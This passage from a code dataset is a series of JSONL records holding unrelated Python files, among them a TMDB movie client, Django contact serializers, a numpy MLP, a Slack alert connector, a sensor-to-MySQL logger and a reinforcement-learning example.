else:\n self.file.write(\"tray 1\\n\")\n self.file.close()\n self.deleteLater()\n\n\nif __name__ == \"__main__\":\n qapp = QtGui.QApplication(sys.argv)\n w = widget()\n w.show()\n sys.exit(qapp.exec_())\n","sub_path":"settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":3445,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"590506940","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed Jan 22 12:18:38 2020\r\n\r\n@author: Student\r\n\"\"\"\r\n\r\nc=int(input(\"Enter no. of rows:\" ))\r\nfor i in range(0,c):\r\n if i==int(c/2):\r\n print(\" \",end=\" \") \r\n for i in range(0,c): \r\n print(\"*\",end=\" \")\r\n if i==c-1:\r\n print()\r\n else:\r\n print(\" \"*c+\"*\") \r\n\r\n ","sub_path":"python/module 3/pattern3.py","file_name":"pattern3.py","file_ext":"py","file_size_in_byte":313,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"195758420","text":"\"\"\"\nE2E tests which utilize cockpit projects\n\"\"\"\nimport shutil\nfrom pathlib import Path\n\nimport pytest\nfrom flexmock import flexmock\n\nfrom packit.api import PackitAPI\nfrom packit.config import get_local_package_config\nfrom packit.distgit import DistGit\nfrom packit.fedpkg import FedPKG\nfrom packit.local_project import LocalProject\nfrom packit.utils import cwd\nfrom tests.spellbook import UP_COCKPIT_OSTREE, initiate_git_repo, get_test_config\n\n\n@pytest.fixture()\ndef cockpit_ostree(tmpdir):\n t = Path(str(tmpdir))\n\n u = t / \"up\"\n shutil.copytree(UP_COCKPIT_OSTREE, u)\n initiate_git_repo(u, tag=\"179\")\n\n return u\n\n\ndef test_update_on_cockpit_ostree(cockpit_ostree):\n def mocked_new_sources(sources=None):\n if not Path(sources).is_file():\n raise RuntimeError(\"archive does not exist\")\n\n flexmock(FedPKG, init_ticket=lambda x=None: None, new_sources=mocked_new_sources)\n\n flexmock(\n DistGit,\n push_to_fork=lambda *args, **kwargs: None,\n is_archive_in_lookaside_cache=lambda archive_path: False,\n )\n flexmock(\n PackitAPI,\n push_and_create_pr=lambda pr_title, pr_description, dist_git_branch: None,\n )\n\n pc = get_local_package_config(str(cockpit_ostree))\n up_lp = LocalProject(working_dir=str(cockpit_ostree))\n c = get_test_config()\n\n api = PackitAPI(c, pc, up_lp)\n with cwd(cockpit_ostree):\n api.sync_release(\n \"master\",\n use_local_content=False,\n version=\"179\",\n force_new_sources=False,\n create_pr=True,\n )\n\n assert api.dg.download_upstream_archive().is_file()\n","sub_path":"tests/integration/test_using_cockpit.py","file_name":"test_using_cockpit.py","file_ext":"py","file_size_in_byte":1632,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"76421931","text":"# -*- coding: utf-8 -*-\nimport re\nfrom aiocache import cached\n\nfrom somali import aiorequests, config\n\n\nclass Movie:\n base_url = config.tmdb_url\n key = config.tmdb_key\n genre_id_to_quote = {\n 12: \"que tal uma aventura?\",\n 14: \"embarque em uma fantasia:\",\n 16: \"quer uma bela animação?\",\n 18: \"drama sempre cai bem:\",\n 27: \"é hora do terror:\",\n 28: \"experimente um pouco de ação:\",\n 35: \"relaxe com uma boa comédia:\",\n 36: \"você gosta de História?\",\n 37: \"bang bang! Reviva o faroeste:\",\n 53: \"reúna o pessoal pra esse suspense:\",\n 80: \"embarque nesse crime:\",\n 99: \"informe-se com esse documentário:\",\n 878: \"que tal um pouco de ficção científica?\",\n 9648: \"você gosta de um mistério?\",\n 10402: \"solte a voz com esse musical:\",\n 10749: \"mergulhe nesse romance:\",\n 10751: \"reúna a família ou amigos e veja:\",\n 10752: \"em clima de guerra:\",\n 10759: \"um pouco de ação e aventura:\",\n 10763: \"que tal experimentar algo jornalístico?\",\n 10762: \"caso queira algo mais infantil:\",\n 10764: \"por que não um reality show?\",\n 10765: \"ficção científica e fantasia:\",\n 10766: \"conhece o gênero soap opera?\",\n 10767: \"por que não um talk show?\",\n 10768: \"um pouco de guerra e política:\",\n 10770: \"mergulhe no cinema:\",\n }\n main_providers = {\n \"netflix\": 8,\n \"prime\": 119,\n \"disney+\": 337,\n \"itunes\": 2,\n \"google\": 3,\n \"looke\": 47,\n \"fox\": 229,\n \"mubi\": 11,\n \"star+\": 619,\n \"paramount+\": 531,\n \"hbo\": 384,\n \"claro\": 167,\n \"telecine\": 227,\n \"globo\": 307,\n }\n\n @classmethod\n @cached(ttl=3600)\n async def request(cls, path, **kwargs):\n url = f\"{cls.base_url}/{path}\"\n headers = {\n \"Content-Type\": \"application/json\",\n \"Accept\": \"application/json\",\n \"Connection\": \"close\",\n }\n default_params = {\"api_key\": cls.key, \"language\": \"pt-BR\"}\n params = kwargs.get(\"params\")\n if params:\n params.update(default_params)\n else:\n params = default_params\n return await aiorequests.get(url, params=params, headers=headers)\n\n @classmethod\n async def details(cls, id):\n return await cls.request(f\"movie/{id}\")\n\n @classmethod\n async def credits(cls, id):\n return await cls.request(f\"movie/{id}/credits\")\n\n @classmethod\n async def ids(cls, id):\n return await cls.request(f\"movie/{id}/external_ids\")\n\n @classmethod\n async def lists(cls, id):\n return await cls.request(f\"movie/{id}/lists\")\n\n @classmethod\n async def recommendation(cls, id):\n return await cls.request(f\"movie/{id}/recommendations\")\n\n @classmethod\n async def similar(cls, id):\n return await cls.request(f\"movie/{id}/similar_movies\")\n\n @classmethod\n async def watch(cls, id):\n return await cls.request(f\"movie/{id}/watch/providers\")\n\n @classmethod\n async def upcoming(cls):\n return await cls.request(\"movie/upcoming\", params={\"region\": \"BR\"})\n\n @classmethod\n async def now(cls):\n return await cls.request(\"movie/now_playing\", params={\"region\": \"BR\"})\n\n @classmethod\n async def latest(cls):\n return await cls.request(\"movie/latest\")\n\n @classmethod\n async def popular(cls):\n return await cls.request(\"movie/popular\")\n\n @classmethod\n async def top(cls):\n return await cls.request(\"movie/top_rated\")\n\n @classmethod\n async def discover(cls, provider):\n return await cls.request(\"discover/movie\", params={\"with_watch_providers\": provider, \"watch_region\": \"BR\"})\n\n @classmethod\n async def trend(cls):\n return await cls.request(\"trending/movie/day\")\n\n @classmethod\n async def search(cls, query):\n return await cls.request(\"search/movie\", params={\"query\": query})\n\n @classmethod\n async def from_imdb(cls, imdb_id):\n return await cls.request(f\"find/{imdb_id}\", params={\"external_source\": \"imdb_id\"})\n\n @classmethod\n async def find(cls, query):\n imdb_id = re.search(r\"(?:imdb.com\\/title\\/)?(tt[0-9]{9})\", query)\n if imdb_id:\n return await cls.from_imdb(imdb_id[1])\n response = await cls.search(query)\n return response[\"results\"][0] if response[\"results\"] else {}\n","sub_path":"somali/apis/movie.py","file_name":"movie.py","file_ext":"py","file_size_in_byte":4481,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"300420767","text":"import csv\nimport re\nimport sys\nimport pandas as pd \nimport numpy as np\nimport collections\n\n\"\"\"\nfamily id\n\"\"\"\n\nif __name__ == '__main__':\n\n\tdata = pd.read_csv('data/test_5.csv')\n\tdata1 = pd.read_csv('data/train_5.csv')\n\n\tfor index,row in data.iterrows():\n\t\tif type(row['Cabin']) is str:\n\t\t\tdata.ix[index,'Cabin'] = str(row['Cabin'][0])\n\t\telse :\n\t\t\tdata.ix[index,'Cabin'] = str('N/A')\n\tfor index1,row1 in data1.iterrows():\n\t\tif type(row1['Cabin']) is str:\n\t\t\tdata1.ix[index1,'Cabin'] = str(row1['Cabin'][0])\n\t\telse :\n\t\t\tdata1.ix[index1,'Cabin'] = str('N/A')\n\n\tdata.to_csv('data/test_6.csv',mode = 'w',index = False)\n\tdata1.to_csv('data/train_6.csv',mode = 'w',index = False)","sub_path":"rel_sur.py","file_name":"rel_sur.py","file_ext":"py","file_size_in_byte":673,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"571257906","text":"'''\nSerializers for Contact.\n'''\nimport re\nimport json\nimport copy\nimport datetime\n\nfrom django.contrib.contenttypes.models import ContentType\nfrom django.utils.translation import ugettext_lazy as _\nfrom django.db import transaction\nfrom django.db.models import F\n\nfrom rest_framework import serializers\n\nfrom .models import (Contact, Address, Number, Email, )\nfrom entity.models import Entity\nfrom core.mixins.queryfields import SerializerFieldsMixin\n\n\nclass ShipToDataField(serializers.JSONField):\n\n def validate(self, value):\n return re.findall(r\"(2[0-3]|[01][0-9]):([0-5][0-9])\", value) if value else []\n\n def to_internal_value(self, data):\n errors = {}\n if not data:\n errors = {'start_time': _(\"This field is required\"), 'end_time': _(\n \"This field is required\")}\n else:\n if data['start_time'] and not self.validate(data['start_time']):\n errors['start_time'] = _(\"Invalid Syntax\")\n elif not data['start_time']:\n errors['start_time'] = _(\"This field is required\")\n\n if data['end_time'] and not self.validate(data['end_time']):\n errors['end_time'] = _(\"Invalid Syntax\")\n elif not data['end_time']:\n errors['end_time'] = _(\"This field is required\")\n\n if errors:\n raise serializers.ValidationError(errors)\n return data\n\n\nclass AddressSerializer(SerializerFieldsMixin, serializers.ModelSerializer):\n address_type = None\n id = serializers.IntegerField(required=False)\n\n def __init__(self, *args, **kwargs):\n if kwargs.get('address_type'):\n self.address_type = kwargs.pop('address_type')\n super().__init__(*args, **kwargs)\n # if self.address_type == \"shipto\": #removed for new signup journey\n # self.fields['data'] = ShipToDataField()\n\n class Meta:\n model = Address\n default_fields = ('id', 'address', 'city')\n fields = ('id', 'address', 'city', 'postal_code',\n 'state', 'country', 'data', 'address_type')\n\n\nclass NumberSerializer(SerializerFieldsMixin, serializers.ModelSerializer):\n id = serializers.IntegerField(required=False)\n\n class Meta:\n model = Number\n default_fields = ('id')\n fields = ('id', 'number', 'number_type', )\n\n def validate(self, validated_data):\n if not validated_data:\n raise serializers.ValidationError(\n {'number': _(\"This field may not be blank.\")})\n if validated_data.get('number_type') == 'main' and validated_data.get('number') == '':\n raise serializers.ValidationError(\n {'number': _(\"This field may not be blank.\")})\n return validated_data\n\n\nclass EmailSerializer(SerializerFieldsMixin, serializers.ModelSerializer):\n id = serializers.IntegerField(required=False)\n\n def validate(self, validated_data):\n if not validated_data or validated_data.get('email') == '':\n raise serializers.ValidationError(\n {'email': _(\"This field is required.\")})\n return validated_data\n\n class Meta:\n model = Email\n default_fields = ('id')\n fields = ('id', 'email', )\n\n\nclass ContactSerializer(SerializerFieldsMixin, serializers.ModelSerializer):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n\n if kwargs.get('data', {}) and kwargs.get('data', {}).get('contact_type') == Contact.CONTACT_TYPE_BUYER_SHIP_TO:\n self.fields['addresses'] = AddressSerializer(\n many=True, address_type=\"shipto\")\n if kwargs.get('data', {}) and kwargs.get('data', {}).get('contact_type') in [\n Contact.CONTACT_TYPE_BUYER_MAIN_CONTACT_PERSON, Contact.CONTACT_TYPE_BUYER_LOCATION, Contact.CONTACT_TYPE_BUYER_SHIP_TO\n ]:\n self.fields['name'] = serializers.CharField(\n max_length=128, allow_null=False)\n self.fields['name'].error_messages['blank'] = 'This field may not be blank.'\n\n addresses = AddressSerializer(many=True, required=False)\n numbers = NumberSerializer(many=True, required=False)\n emails = EmailSerializer(many=True, required=False)\n\n def validate_related_records(self, records, model, field):\n if self.instance:\n pks = [record.get('id') for record in records if record.get('id')]\n existing_pks = list(model.objects.select_related('contact').filter(\n pk__in=pks, contact=self.instance).values_list('id', flat=True))\n if set(pks) != set(existing_pks):\n raise serializers.ValidationError([{\n \"detail\": _(\"Not found.\")\n } if (record.get('id') and record.get('id') not in existing_pks) else {} for record in records])\n return records\n\n def validate_emails(self, records):\n return self.validate_related_records(records, Email, \"emails\")\n\n def validate_addresses(self, records):\n return self.validate_related_records(records, Address, \"addresses\")\n\n def validate_numbers(self, records):\n return self.validate_related_records(records, Number, \"numbers\")\n\n def save_warehouse_contact(self, instance, contact, ship_to_data):\n\n if instance:\n numbers, emails, addresses = [ids.pop('id') if ids.get('id') else None for ids in ship_to_data['numbers']], [ids.pop(\n 'id') if ids.get('id') else None for ids in ship_to_data['emails']], [ids.pop('id') if ids.get('id') else None for ids in ship_to_data['addresses']]\n\n ship_to_data['contact_type'] = 'buyer:ship_to'\n ship_to_data.pop('data')\n if ship_to_data.get('addresses', None) and not ship_to_data.get('addresses')[0].get('data'):\n ship_to_data['addresses'][0]['data'] = {\n 'start_time': '00:00', 'end_time': '00:00'}\n ship_to_data['addresses'][0]['address_type'] = 'ship_to'\n ship_to = self.create(ship_to_data)\n Contact.objects.filter(pk=contact.id).update(\n data={'is_ship_to': True, 'ship_to_id': ship_to.id})\n\n return ship_to\n\n def validate(self, validated_data):\n contact_msg = {\n Contact.CONTACT_TYPE_BUYER_LOCATION: 'retail',\n Contact.CONTACT_TYPE_BUYER_SHIP_TO: 'warehouse/ship to'\n }\n\n contact_type = self.instance.contact_type if self.instance else validated_data.get(\n 'contact_type')\n if validated_data.get('addresses', None):\n for address in validated_data.get('addresses'):\n existing_address = Address.objects.filter(signature='{}-{}-{}-{}'.format(\n self.context['of_type'].id, self.context['of_id'], contact_type, address.get('postal_code')))\n\n if existing_address.exists():\n if 'id' not in address or address.get('id') != existing_address.first().id:\n raise serializers.ValidationError(\n {'addresses': [\n {'address': 'The address you entered is already associated with a ' +\n contact_msg[contact_type]+' location. Please enter a different address.'}\n ]}\n )\n\n return validated_data\n\n @transaction.atomic\n def create(self, validated_data):\n ship_to_data = copy.deepcopy(validated_data)\n\n def save_related(contact, records, model):\n if not records:\n return\n if model == Address:\n model.objects.bulk_create([\n model(contact=contact, signature='{}-{}-{}-{}'.format(self.context['of_type'].id, self.context['of_id'], contact.contact_type, record.get('postal_code')), **record) for record in records\n ])\n\n else:\n model.objects.bulk_create([\n model(contact=contact, **record) for record in records\n ])\n\n emails = validated_data.pop(\n 'emails') if 'emails' in validated_data else None\n addresses = validated_data.pop(\n 'addresses') if 'addresses' in validated_data else None\n # if validated_data.get('contact_type') == 'buyer:location' and addresses:\n # addresses[0].pop('data')\n numbers = validated_data.pop(\n 'numbers') if 'numbers' in validated_data else None\n\n contact = super().create(validated_data)\n save_related(contact, emails, Email)\n save_related(contact, addresses, Address)\n save_related(contact, numbers, Number)\n\n if validated_data.get('contact_type') == 'buyer:location' and validated_data.get('data', None) and validated_data.get('data', None).get('is_ship_to') and not validated_data.get('data').get('ship_to_id', None):\n contact = self.save_warehouse_contact(\n '', contact, ship_to_data)\n return contact\n\n @transaction.atomic\n def update(self, instance, validated_data):\n ship_to_data = copy.deepcopy(validated_data)\n\n def save_related(contact, records, model):\n if records is None:\n return\n pks = [record.get('id') for record in records if 'id' in record]\n model.objects.select_related('contact').filter(\n contact=contact).exclude(id__in=pks).delete()\n to_create = []\n\n for record in records:\n if 'id' not in record:\n if model == Address:\n to_create.append(model(contact=contact, signature='{}-{}-{}-{}'.format(\n self.context['of_type'].id, self.context['of_id'], contact.contact_type, record.get('postal_code')), **record))\n else:\n to_create.append(model(contact=contact, **record))\n else:\n if model == Address:\n model.objects.filter(\n pk=record.get('id')).update(signature='{}-{}-{}-{}'.format(self.context['of_type'].id, self.context['of_id'], contact.contact_type, record.get('postal_code')), **record)\n else:\n model.objects.filter(\n pk=record.get('id')).update(**record)\n if to_create:\n model.objects.bulk_create(to_create)\n\n emails = validated_data.pop(\n 'emails') if 'emails' in validated_data else None\n addresses = validated_data.pop(\n 'addresses') if 'addresses' in validated_data else None\n # if validated_data.get('contact_type') == 'buyer:location' and addresses is not None:\n # addresses[0].pop('data')\n numbers = validated_data.pop(\n 'numbers') if 'numbers' in validated_data else None\n contact = super().update(instance, validated_data)\n\n if emails is not None:\n save_related(contact, emails, Email)\n\n if addresses is not None:\n save_related(contact, addresses, Address)\n\n if numbers is not None:\n save_related(contact, numbers, Number)\n\n if validated_data.get('contact_type') == 'buyer:location' and validated_data.get('data') and validated_data.get('data').get('is_ship_to') == False and validated_data.get('data').get('ship_to_id', None):\n\n Contact.objects.filter(id=validated_data.get(\n 'data').get('ship_to_id')).delete()\n\n contact.data = {}\n contact.save()\n\n if validated_data.get('contact_type') == 'buyer:location' and validated_data.get('data') and validated_data.get('data').get('is_ship_to') and not validated_data.get('data').get('ship_to_id', None):\n contact = self.save_warehouse_contact(\n instance, contact, ship_to_data)\n return contact\n\n class Meta:\n model = Contact\n fields = ('id', 'name', 'contact_type', 'data',\n 'addresses', 'numbers', 'emails')\n default_fields = ('id', 'name', 'contact_type')\n expandable_fields = {\n 'addresses': (AddressSerializer, (), {'many': True, 'required': False}),\n 'numbers': (NumberSerializer, (), {'many': True, 'required': False}),\n 'emails': (EmailSerializer, (), {'many': True, 'required': False}),\n }\n","sub_path":"src/contact/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":12374,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"634973399","text":"import numpy as np\nimport loglinear as ll\nimport config\n\nSTUDENT={'name': 'SHAHAR SIEGMAN',\n 'ID': '011862141'}\n\ndef layer_output(x,params):\n # calculates the output of a layer of the form\n # a = tanh(z) = tanh(xW+b)\n W, b = params\n a = np.tanh(np.dot(x,W)+b)\n return a\n\ndef classifier_output(x, params):\n # calculation is done in 2 stages\n # we need to feed-forward from x to x1\n # then solve x1 with loglinear.predict\n W, b, U, b_prime = params\n x1 = layer_output(x, (W,b))\n probs = ll.classifier_output(x1,(U,b_prime))\n return probs\n\ndef predict(x, params):\n \"\"\"\n params: a list of the form [W, b, U, b_tag]\n \"\"\"\n return np.argmax(classifier_output(x, params))\n\ndef loss_and_gradients(x, y, params):\n \"\"\"\n params: a list of the form [W, b, U, b_tag]\n\n returns:\n loss,[gW, gb, gU, gb_tag]\n\n loss: scalar\n gW: matrix, gradients of W\n gb: vector, gradients of b\n gU: matrix, gradients of U\n gb_tag: vector, gradients of b_tag\n \"\"\"\n\n W, b, U, b_tag = params\n out_dim = U.shape[1]\n # first, do the entire feedforward\n \n shape_b = b.shape\n if len(shape_b)==1:\n if config.debug:\n print(\"b should be a 2d array, actual shape: {}\".format(shape_b))\n b = np.array(b,np.double, ndmin=2)\n\n a2 = layer_output(x,[W,b]) \n z3 = np.dot(a2,U) + b_tag\n y_hat = ll.softmax(z3)\n\n y_e = ll.to_one_hot_row(y,out_dim)\n\n y_diff = y_hat - y_e\n \n #print(\"feedforward complete.\")\n # now we can use backprop\n gU = np.dot(a2.transpose(), y_diff )\n gb_tag = y_diff.copy()\n\n delta2 = np.dot(y_diff, U.T) \n delta2 = delta2 * (1-a2 ** 2)\n\n gW = np.dot(x.transpose(), delta2)\n gb = delta2\n\n loss = ll.logloss(y_e, y_hat)\n return loss,[gW, gb, gU, gb_tag]\n\n \n\ndef create_classifier(in_dim, hid_dim, out_dim):\n \"\"\"\n returns the parameters for a multi-layer perceptron,\n with input dimension in_dim, hidden dimension hid_dim,\n and output dimension out_dim.\n\n return:\n a flat list of 4 elements, W, b, U, b_tag.\n \"\"\"\n W = np.zeros((in_dim,hid_dim), np.double)\n b = np.zeros((1,hid_dim), np.double)\n U = np.zeros((hid_dim,out_dim), np.double)\n b_tag = np.zeros((1,out_dim), np.double)\n return [W,b,U, b_tag]\n\n","sub_path":"NLP-courses/89687-DL/Assignment1/code/mlp1.py","file_name":"mlp1.py","file_ext":"py","file_size_in_byte":2291,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"11150009","text":"'''\nA helper script to scrape and format the individual results from nested folders.\n\nWritten by RL for the RACC_NR project.\n\n12/8/2018\n'''\n\nimport os\nimport pandas as pd\nimport argparse\nimport warnings\n\ncn = ['training_prob','testing_prob','file_type','joint_matrix','mariginal_prediction','marginal_labels','mutual_information']\nresult_df = pd.DataFrame(columns=cn)\n\n# suppress all warnings\nwarnings.filterwarnings(\"ignore\")\n\n# function to save the dataframe\ndef output_file(df, filen, output_path):\n outputname = filen+\".csv\"\n if len(df) > 0:\n df.to_csv(output_path+outputname,sep=',', na_rep=\" \", encoding='utf-8', index_label=False, index=False) \n print(\"Length of the dataframe:\"+str(len(df)))\n print(\"Results have been saved under \"+output_path+\" as \"+filen)\n\nparser = argparse.ArgumentParser(\n description='RACC_NR U-Net data aggregation script')\nparser.add_argument('--p', required=True,\n metavar=\"/path/to/dataset/\",\n help='Path to the saved folder (root, containing all the result files)')\nargs = parser.parse_args()\ndir_path = args.p\n\n# force the path to end with /\nif dir_path[-1] != '/':\n dir_path += '/'\n\n# full walking on the folder\nfor root, dirs, files in os.walk(dir_path):\n for file_ in files:\n full_path = os.path.join(root, file_)\n full_path_elem = full_path.split('/')\n if 'test_summary.txt' in full_path_elem[-1]:\n # found the summary file\n with open(full_path, 'r') as f:\n data = f.read()\n data_split = data.split('\\n')\n train_prob_convert = full_path_elem[-4].split('_')[1].replace('p','.')\n test_prob_convert = full_path_elem[-3].split('_')[1].replace('p','.')\n df = pd.DataFrame([[train_prob_convert,test_prob_convert,full_path_elem[-2],data_split[1]+'\\n'+data_split[2],data_split[4],data_split[6],data_split[-1]]],columns=cn)\n result_df = pd.concat([result_df, df], ignore_index=True)\n \n# once finish, output the dataframe \noutput_file(result_df, 'RACC_NR_result',dir_path)","sub_path":"Aggregate_results.py","file_name":"Aggregate_results.py","file_ext":"py","file_size_in_byte":2139,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"217538700","text":"import requests\n\nCD_MSG_TITLE = 'Code Defender has detected a new incident'\n\nclass PerimeterXManagerException(Exception):\n \"\"\" General Exception for PerimeterX manager \"\"\"\n pass\n\nclass PerimeterXManager(object):\n\n def __init__(self, slack_channel=None, slack_api_key=None, connector_type=None, offset_in_ms=0):\n self.slack_channel = slack_channel\n self.slack_api_key = slack_api_key\n self.slack_offset = self.convert_offset(offset_in_ms)\n self.connector_type = connector_type\n self.slack_cursor = ''\n self.paginated = False\n self.messages = []\n\n\n \"\"\" Siemplify cannot store microseconds like Slack requires\n so we take the offset_in_ms turn it into microseconds with *10000\n Next, we need to add a single microsecond to avoid a loop with the +1\n Finally, we /1000000 to generate the time format required for the slack API \n If the offset is 0, then we just use 0\"\"\"\n def convert_offset(self, ms):\n if(ms == 0):\n return ms\n return float(((ms*10000)+1)/1000000)\n\n\n def get_slack_channel_id(self):\n response = requests.get(\n 'https://slack.com/api/conversations.list',\n headers={'Authorization': 'Bearer ' + self.slack_api_key}\n )\n # curl -H 'Authorization: Bearer slack_api_key' https://slack.com/api/conversations.list\n # foreach channels if name == slack_channel, then return id\n if response.status_code != 200:\n return False\n\n json_response = response.json()\n\n # check to make sure we've got a channels array\n if 'channels' not in json_response:\n return False\n\n # check to make sure the channels is a list\n if type(json_response['channels']) != list:\n return False\n\n # step through the channels looking for the one we want\n for x in json_response['channels']:\n # if this is the channel we want then return the id\n if x['name'] == self.slack_channel:\n return x['id']\n\n return False\n\n\n def f(self, x):\n return {\n 'slack': self.get_slack_messages()\n }.get(x, False)\n\n\n def getItemFromList(self, list, searchItem, searchValue, returnValue):\n for x in list:\n if x[searchItem] == searchValue:\n return x[returnValue]\n return False\n\n\n def before(self, value, a):\n # Find first part and return slice before it.\n pos_a = value.find(a)\n if pos_a == -1: return value\n return value[0:pos_a]\n\n\n def formatSlackMsg(self, msg):\n return {\n 'type': 'slack',\n 'ts': msg['ts'],\n 'text': self.before(msg['attachments'][0]['text'], '\\n'),\n 'fullText': msg['attachments'][0]['text'],\n 'title': msg['attachments'][0]['title'],\n 'severity': self.getItemFromList(msg['attachments'][0]['fields'], 'title', 'Risk Level', 'value'),\n 'script': self.getItemFromList(msg['attachments'][0]['fields'], 'title', 'Script', 'value'),\n 'domain': self.getItemFromList(msg['attachments'][0]['fields'], 'title', 'Host Domain', 'value'),\n 'deepLink': self.getItemFromList(msg['attachments'][0]['actions'], 'text', 'View in Console', 'url')\n }\n\n\n def get_slack_messages(self):\n channelId = self.get_slack_channel_id()\n\n if channelId == False:\n return False\n\n response = requests.get(\n 'https://api.slack.com/api/conversations.history',\n verify=False,\n params={'channel': channelId, 'limit': 100, 'cursor': self.slack_cursor, 'oldest': self.slack_offset},\n headers={'Authorization': 'Bearer ' + self.slack_api_key}\n )\n\n if response.status_code != 200:\n return False\n\n json_response = response.json()\n\n if json_response['has_more'] == True:\n self.pagination = 1\n self.slack_cursor = json_response['response_metadata']['next_cursor']\n else:\n self.pagination = 0\n self.slack_cursor = ''\n\n if 'messages' not in json_response:\n return False\n\n # Check to make sure we got some messages returned\n if json_response['messages'] == False:\n return False\n\n # Check to make sure there's messages in the list\n if len(json_response['messages']) < 1:\n return False\n\n # walk through our retrieved messages to find CD related entries\n for x in json_response['messages']:\n # Check for a Code Defender specific message\n if x['type'] == 'message' and 'attachments' in x and x['attachments'][0]['title'] == CD_MSG_TITLE:\n self.messages.append(self.formatSlackMsg(x))\n\n if self.pagination == 1:\n self.get_slack_messages()\n\n return self.messages\n\n\n def get_cd_alerts(self, integrationType):\n # Execute the desired message retrieval\n return self.f(integrationType)\n\n\n def get_connector_type(self):\n return self.connector_type\n \n \n def auth(self):\n response = requests.post(\n 'https://slack.com/api/auth.test',\n headers={'Authorization': 'Bearer ' + self.slack_api_key}\n )\n if response.status_code != 200:\n return False\n\n json_response = response.json()\n if 'ok' in json_response and json_response['ok'] == True:\n return True\n\n if 'ok' in json_response and json_response['ok'] == False:\n return False\n\n return False\n","sub_path":"PerimeterXManager.py","file_name":"PerimeterXManager.py","file_ext":"py","file_size_in_byte":5629,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"214306009","text":"import pymysql\nimport Adafruit_DHT\n\nDHT_PIN = 26\nDHT_TYPE = Adafruit_DHT.DHT11\n\ndb = pymysql.connect(host='localhost',\n port=3306,\n user='root',\n password='1234',\n db='raspiDBK',\n charset='utf8')\n\nhum, temp = Adafruit_DHT.read_retry(DHT_TYPE, DHT_PIN)\nif hum is not None and temp is not None:\n print('Temp = (0:0.1f)*C Humidity =(1:0.1f)%'.format(temp,hum))\n with db.cursor() as cur:\n sql = \"\"\"insert into sensor(time, hum, temp, illum)\n values (now(), %s, %s, 0)\"\"\"\n print(sql)\n cur.execute(sql, (hum,temp))\n db.commit()\n\n with db.cursor() as cur:\n sql=\"select * from sensor\"\n cur.execute(sql)\n rows = cur.fetchall()\n for row_data in rows:\n print(row_data)\n\nelse:\n print(\"nope\")\n","sub_path":"dht_db.py","file_name":"dht_db.py","file_ext":"py","file_size_in_byte":829,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"209416077","text":"import sys\nsys.path.append('../../') \nimport algorithms.TD.Q_learning_SARSAMAX as TDiter \nimport gym\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom statistics import mean\nimport pandas as pd\nimport seaborn as sns\n\nENV_NAME = 'FrozenLake-v0'\n\ndef play_game_with_policies(env_name, list_of_Qs, output_file_path):\n \"\"\"This function takes an environment, and a list of policies\n which it wants to compare performance between on this environment.\"\"\"\n iteration_num = 0\n env = gym.make(env_name)\n policy_average_rewards = []\n policy_names=[]\n for Q_func in list_of_Qs:\n policy_name = 'iteration_'+str(iteration_num)\n policy_names.append(policy_name)\n rewards_by_episode = []\n for episode in range(500):\n state = env.reset()\n done = False\n episode_reward = 0\n while not done:\n next_action = np.argmax(Q_func[state])\n state, reward, done, info = env.step(next_action) \n episode_reward += reward\n rewards_by_episode.append(episode_reward)\n iteration_num+=1\n policy_average_rewards.append(mean(rewards_by_episode))\n plt.title('Average Reward by Policy')\n bars = plt.bar(policy_names, policy_average_rewards)\n for bar in bars:\n yval = bar.get_height()\n plt.text(bar.get_x(), yval + .005, yval)\n plt.savefig(fname=output_file_path)\n\nif __name__ == '__main__':\n\n # Create your environment\n env = gym.make(ENV_NAME)\n env.reset()\n\n # Create policy iterator object\n policy_iterator = TDiter.TD_off_policy(env=env,\n discount_factor=1,\n learning_rate=0.1,\n lambda_value=0.1)\n\n\n # Call iterate function and get all the policies iterated through\n list_of_Qs = policy_iterator.iterate(iteration_loops=100001,\n print_every_n=10000,\n eval_episodes=1,\n epsilon_soft=0.1)\n print('''Check these Qs to make sure they are sufficiently different!\n{}'''.format(list_of_Qs))\n\n # Play game with generated policies and save results!\n play_game_with_policies(env_name=ENV_NAME,\n list_of_Qs=list_of_Qs,\n output_file_path='outputs/policy_iter_Q_learning_TD_off.png')\n\n","sub_path":"implementations/examples/frozen_lake/TD_off_policy_Q_learning.py","file_name":"TD_off_policy_Q_learning.py","file_ext":"py","file_size_in_byte":2457,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"44031234","text":"import sys\nimport string\n\ndef op(a, b):\n \"\"\"This function compute the five basic operations (+, -, x, :, %) on its 2 int input args\"\"\"\n tab = [0, 0, 0, 0, 0]\n tab[0] = a + b\n tab[1] = a - b\n tab[2] = a * b\n if b == 0:\n tab[3] = \"ERROR (div by zero)\"\n else:\n tab[3] = a / b\n if b == 0:\n tab[4] = \"ERROR (modulo by zero)\"\n else:\n tab[4] = a % b\n print(\"Sum: {}\\nDiff: {}\\nProduct: {}\\nQuotient: {}\\nReminder: {}\".format(tab[0], tab[1], tab[2], tab[3], tab[4]))\n\nif __name__ == '__main__':\n if len(sys.argv) != 3:\n print(\"usage: python operations.py [operands]\\nexample:\\n\\tpython operations.py 10 3\")\n elif not sys.argv[1].isnumeric() or not sys.argv[2].isnumeric():\n print(\"InputError: only number\")\n else:\n op(int(sys.argv[1]), int(sys.argv[2]))\n 